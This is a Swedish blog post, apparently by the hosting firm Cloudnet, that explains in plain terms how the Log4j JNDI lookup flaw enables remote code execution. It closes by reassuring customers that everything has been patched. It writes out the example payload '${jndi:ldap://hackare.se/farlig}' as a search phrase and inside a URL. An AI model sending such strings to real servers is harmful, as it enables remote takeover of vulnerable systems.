Log4j är en populär modul till Java. Som namnet antyder så är modulen ansvarig för att logga saker i Java. Alltså, i en javaapplikation så kan man anropa log4j så ser log4j till att det loggas t.ex. i en fil eller något annat ställe. Modulen är väldigt vanlig bland Javaapplikationer och har funnits länge.
Det som har hänt nu är att i log4j så finns en funktion för att slå upp information när loggmeddelandet skrivs. Tänkt dig, lite förenklat, till exempel att en applikation vill logga och lägga till en variabel i loggen. Skulle kunna se ut så här:
log.info("Nisse tar ut ${pengar} kr")
Alltså, ersätt ${pengar} med de pengar Nisse verkligen tar ut (från sitt bankkonto t.ex.). I loggen kommer det loggat något i stil med:
09/12/2021 11:20 INFO Nisse tar ut 100 kr
Utvecklarna på log4j gick i juni 2019 steget längre och la in en funktion som heter JndiLookup. Ur en utvecklares perspektiv är det en superball funktion som gör så att i loggmeddelanden kan man slå upp saker från en ldap-katalog (ldap går vi inte in på här, men se det som en databas).
log.info("Nisse tar ut ${pengar} och har ${jndi:ldap://bank.server.se/nisse-saldo} kr kvar")
Det fräsiga här är att när loggmeddelandet loggas om att Nisse tar ut pengar så kollar log4j upp hur mycket pengar Nisse även har kvar på kontot, genom att fråga banken, och loggar:
09/12/2021 11:25 INFO Nisse tar ut 100 kr och har 500 kr kvar
Ballt va? Problemet är att så fort något kollas upp mot en annan plats så ökar riskerna lavinartat för säkerhetsproblem. Sårbarheten har alltså funnits sedan 2019 men upptäcktes först nu.
Hur utnyttjas den här sårbarheten då? Man kan tycka att så länge en Javaapplikation inte loggar något jndi-uppslag är allt okej? Eller att du inte ens kör Java? Eller vad är problemet?
Problemet är att ofta loggar applikationer mycket, väldigt mycket. Det är t.ex. vad en användare loggar in som, vad någon söker på eller trafik till en webbserver. Och att de dominerande sökmotorerna som man använder för en webbsida är skrivna i Java.
T.ex. om en webbsida har en sökfunktion, så loggas ofta det användaren söker efter. Många webbsidor är kanske inte alls utvecklade i Java, men använder ändå Elasticsearch eller Solr. Elasticsearch och Solr är populära sökmotorer man använder i applikationer och dessa är skrivna Java och i sin tur använder log4j för att logga det som händer. Eller att en användare surfar in på en Javaapplikation, och adressen loggas så då via log4j.
Tänk då att en användare söker efter frasen:
${jndi:ldap://hackare.se/farlig}
då kommer webbapplikationen göra en sökning mot t.ex. Elasticsearch. Elasticsearch loggar frasen som användaren söker efter och skickar då frasen till log4j. Log4j ser att det här är en variabel som ska slås upp. Den gör då en fråga till hackare.se/farlig som i sin tur en hackare har preparerat med farlig kod. Efter uppslaget kommer log4j gå igenom svaret och köra det för att kunna ersätta texten med svaret. Koden som hackare preppat hackare.se med exekveras alltså på servern.
Det kan även räcka med att en hackare surfar in på en sida (som går till en Javaapplikation), t.ex.:
https://www.envanligsida.se/${jndi:ldap://hackare.se/farlig}
Javaservern som tar emot frågan loggar det till log4j (vare sig sidan finns eller inte) och farlig kod exekveras på servern.
Det som gör log4j-buggen så allvarlig är att, dels används log4j på extremt många ställen, och dels är buggen väldigt enkelt att utnyttja. Ofta körs de här Javaprogrammen som root-användare och då får en hackare fullständig kontroll över ett system.
För att vara säkra på att inga kunder hos Cloudnet drabbas har vi givetvis gått igenom alla interna system och patchat allt. Vi har även gått igenom alla tjänster kunder har hos oss och ser till att alla Java-grejer är uppdaterade. Hos Cloudnet ska du känna att vi har koll och att du är trygg.